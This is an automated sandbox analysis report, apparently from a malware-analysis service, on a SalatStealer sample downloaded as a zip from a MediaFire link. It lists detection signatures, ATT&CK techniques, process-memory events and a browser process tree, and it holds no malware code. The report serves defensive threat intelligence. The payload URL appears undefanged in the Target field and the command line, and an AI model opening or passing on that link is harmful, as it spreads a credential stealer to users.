salatstealer | hxxps://www[.]mediafire[.]com/file/l3u8de0ld07dwl5/rapid[.]zip/file

Analysis

user interaction
yes
max time kernel
60s
max time network
301s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/07/2026, 15:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://www.mediafire.com/file/l3u8de0ld07dwl5/rapid.zip/file
Sample260707-sdtgfafy3x

Score

10^/10

discovery execution salatstealer stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 8 IoCs

resource	yara_rule
behavioral1/memory/4372-661-0x0000000000E30000-0x00000000019BF000-memory.dmp	family_salatstealer
behavioral1/memory/4372-662-0x0000000000E30000-0x00000000019BF000-memory.dmp	family_salatstealer
behavioral1/memory/4372-663-0x0000000000E30000-0x00000000019BF000-memory.dmp	family_salatstealer
behavioral1/memory/4372-671-0x0000000000E30000-0x00000000019BF000-memory.dmp	family_salatstealer
behavioral1/memory/4612-672-0x00000000008E0000-0x000000000146F000-memory.dmp	family_salatstealer
behavioral1/memory/4612-673-0x00000000008E0000-0x000000000146F000-memory.dmp	family_salatstealer
behavioral1/memory/4612-674-0x00000000008E0000-0x000000000146F000-memory.dmp	family_salatstealer
behavioral1/memory/4612-675-0x00000000008E0000-0x000000000146F000-memory.dmp	family_salatstealer

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00050000000187b5-658.dat	upx
behavioral1/memory/4372-660-0x0000000000E30000-0x00000000019BF000-memory.dmp	upx
behavioral1/memory/4372-661-0x0000000000E30000-0x00000000019BF000-memory.dmp	upx
behavioral1/memory/4372-662-0x0000000000E30000-0x00000000019BF000-memory.dmp	upx
behavioral1/memory/4372-663-0x0000000000E30000-0x00000000019BF000-memory.dmp	upx
behavioral1/memory/4612-670-0x00000000008E0000-0x000000000146F000-memory.dmp	upx
behavioral1/memory/4372-671-0x0000000000E30000-0x00000000019BF000-memory.dmp	upx
behavioral1/memory/4612-672-0x00000000008E0000-0x000000000146F000-memory.dmp	upx
behavioral1/memory/4612-673-0x00000000008E0000-0x000000000146F000-memory.dmp	upx
behavioral1/memory/4612-674-0x00000000008E0000-0x000000000146F000-memory.dmp	upx
behavioral1/memory/4612-675-0x00000000008E0000-0x000000000146F000-memory.dmp	upx
behavioral1/files/0x000d00000001c59e-687.dat	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5324	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
600	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
6092	reg.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe

Suspicious use of FindShellTrayWindow 45 IoCs

pid	Process
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe
3144	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3144 wrote to memory of 4624	3144	msedge.exe	88
PID 3144 wrote to memory of 4748	3144	msedge.exe	89
PID 3144 wrote to memory of 600	3144	msedge.exe	90
PID 3144 wrote to memory of 4748	3144	msedge.exe	89
PID 3144 wrote to memory of 4748	3144	msedge.exe	89
PID 3144 wrote to memory of 5692	3144	msedge.exe	91
PID 3144 wrote to memory of 5692	3144	msedge.exe	91
PID 3144 wrote to memory of 5748	3144	msedge.exe	93
PID 3144 wrote to memory of 5748	3144	msedge.exe	93
PID 3144 wrote to memory of 5748	3144	msedge.exe	93
PID 3144 wrote to memory of 5040	3144	msedge.exe	94
PID 3144 wrote to memory of 5040	3144	msedge.exe	94
PID 3144 wrote to memory of 5040	3144	msedge.exe	94
PID 3144 wrote to memory of 4440	3144	msedge.exe	95
PID 3144 wrote to memory of 4440	3144	msedge.exe	95
PID 3144 wrote to memory of 2632	3144	msedge.exe	96
PID 3144 wrote to memory of 4440	3144	msedge.exe	95
PID 3144 wrote to memory of 2632	3144	msedge.exe	96
PID 3144 wrote to memory of 2632	3144	msedge.exe	96
PID 3144 wrote to memory of 5144	3144	msedge.exe	97
PID 3144 wrote to memory of 5144	3144	msedge.exe	97
PID 3144 wrote to memory of 252	3144	msedge.exe	98
PID 3144 wrote to memory of 252	3144	msedge.exe	98
PID 3144 wrote to memory of 3420	3144	msedge.exe	100
PID 3144 wrote to memory of 3420	3144	msedge.exe	100
PID 3144 wrote to memory of 3420	3144	msedge.exe	100
PID 3144 wrote to memory of 4724	3144	msedge.exe	101
PID 3144 wrote to memory of 4724	3144	msedge.exe	101
PID 3144 wrote to memory of 4724	3144	msedge.exe	101
PID 3144 wrote to memory of 2900	3144	msedge.exe	102
PID 3144 wrote to memory of 2900	3144	msedge.exe	102
PID 3144 wrote to memory of 5000	3144	msedge.exe	103
PID 3144 wrote to memory of 5000	3144	msedge.exe	103
PID 3144 wrote to memory of 5000	3144	msedge.exe	103
PID 3144 wrote to memory of 4856	3144	msedge.exe	104
PID 3144 wrote to memory of 4856	3144	msedge.exe	104
PID 3144 wrote to memory of 4856	3144	msedge.exe	104
PID 3144 wrote to memory of 4196	3144	msedge.exe	105
PID 3144 wrote to memory of 2332	3144	msedge.exe	106
PID 3144 wrote to memory of 1968	3144	msedge.exe	107
PID 3144 wrote to memory of 1320	3144	msedge.exe	108
PID 3144 wrote to memory of 1380	3144	msedge.exe	109
PID 3144 wrote to memory of 1380	3144	msedge.exe	109
PID 3144 wrote to memory of 1380	3144	msedge.exe	109
PID 3144 wrote to memory of 1156	3144	msedge.exe	110
PID 3144 wrote to memory of 1156	3144	msedge.exe	110
PID 3144 wrote to memory of 1156	3144	msedge.exe	110
PID 3144 wrote to memory of 4532	3144	msedge.exe	111
PID 3144 wrote to memory of 4532	3144	msedge.exe	111
PID 3144 wrote to memory of 4532	3144	msedge.exe	111
PID 3144 wrote to memory of 2388	3144	msedge.exe	112
PID 3144 wrote to memory of 2388	3144	msedge.exe	112
PID 3144 wrote to memory of 2388	3144	msedge.exe	112
PID 3144 wrote to memory of 2372	3144	msedge.exe	113
PID 3144 wrote to memory of 2372	3144	msedge.exe	113
PID 3144 wrote to memory of 2372	3144	msedge.exe	113
PID 3144 wrote to memory of 1952	3144	msedge.exe	114
PID 3144 wrote to memory of 1952	3144	msedge.exe	114
PID 3144 wrote to memory of 1952	3144	msedge.exe	114
PID 3144 wrote to memory of 3652	3144	msedge.exe	115
PID 3144 wrote to memory of 3652	3144	msedge.exe	115
PID 3144 wrote to memory of 3652	3144	msedge.exe	115
PID 3144 wrote to memory of 5760	3144	msedge.exe	116
PID 3144 wrote to memory of 5760	3144	msedge.exe	116

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.mediafire.com/file/l3u8de0ld07dwl5/rapid.zip/file
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x2cc,0x7ff9e20dc188,0x7ff9e20dc194,0x7ff9e20dc1a0
  2⤵
  PID:4624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1568,i,2218574045055124356,10031858088269356819,262144 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:2
  2⤵
  PID:4748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1832,i,17751056618598965300,12071230272079802075,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=2528 /prefetch:11
  2⤵
  - System Time Discovery
  PID:600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2396,i,4726954077361035630,6476124021106612898,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=2992 /prefetch:13
  2⤵
  PID:5692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3676,i,9167647029185909711,12434036022822651058,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=3748 /prefetch:1
  2⤵
  PID:5748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3608,i,10024461139098631182,10604794291531278367,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:1
  2⤵
  PID:5040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3760,i,9188484134443945302,8146366743118524810,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=4112 /prefetch:1
  2⤵
  PID:4440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4148,i,13056018143654216407,7968931145660981864,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=4164 /prefetch:9
  2⤵
  PID:2632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4016,i,4764974124075234517,4731972618321521504,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
  2⤵
  PID:5144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4976,i,12222738131734028401,5847494393528728017,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=4012 /prefetch:14
  2⤵
  PID:252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5816,i,2843634151037851790,9555154237385967918,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:1
  2⤵
  PID:3420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5964,i,15872925196541480436,1543565247792511585,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:1
  2⤵
  PID:4724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6372,i,4801989895189612916,13997511910554364779,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=6540 /prefetch:14
  2⤵
  PID:2900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6476,i,16809010911825486061,13970261588784559629,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:1
  2⤵
  PID:5000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=7016,i,12039515330258318154,9605547798567366489,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=7028 /prefetch:1
  2⤵
  PID:4856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7132,i,12680383036629414900,11729527957801899153,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:14
  2⤵
  PID:4196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7208,i,12222182287018694457,864489910568958875,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=7248 /prefetch:14
  2⤵
  PID:2332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7176,i,11576857827801235437,14028859656451875327,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=7224 /prefetch:14
  2⤵
  PID:1968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6316,i,11862840191789608235,6376289923950285153,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:14
  2⤵
  PID:1320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=7332,i,8402103605340907331,2408433407619670688,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=7432 /prefetch:1
  2⤵
  PID:1380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7196,i,14801781236923207456,828564893105047960,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=7460 /prefetch:1
  2⤵
  PID:1156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=6532,i,15236067622387917673,7849444729178654816,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=7472 /prefetch:1
  2⤵
  PID:4532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=5128,i,3091555313720811039,17664644899724955084,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=7004 /prefetch:1
  2⤵
  PID:2388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=7464,i,4175263220753199658,9334049920434424823,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=8124 /prefetch:1
  2⤵
  PID:2372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=8244,i,15668710139011882842,1182117333567089124,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=8264 /prefetch:1
  2⤵
  PID:1952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=8408,i,10621209297851751378,2406217078296913298,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=8388 /prefetch:1
  2⤵
  PID:3652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=5040,i,14615333778080798899,11535567363646195012,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:1
  2⤵
  PID:5760
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6816,i,9699675504082453482,1548330135325195546,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:14
  2⤵
  PID:1500
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6816,i,9699675504082453482,1548330135325195546,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:14
  2⤵
  PID:1052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5252,i,16407176179129015053,1915181899239743153,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=4080 /prefetch:14
  2⤵
  PID:3500
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=6728,i,4962206134447032892,7170558468604614343,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=7248 /prefetch:1
  2⤵
  PID:2724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=8732,i,2386614458230803485,8627308731706609146,262144 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=8220 /prefetch:10
  2⤵
  PID:4612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
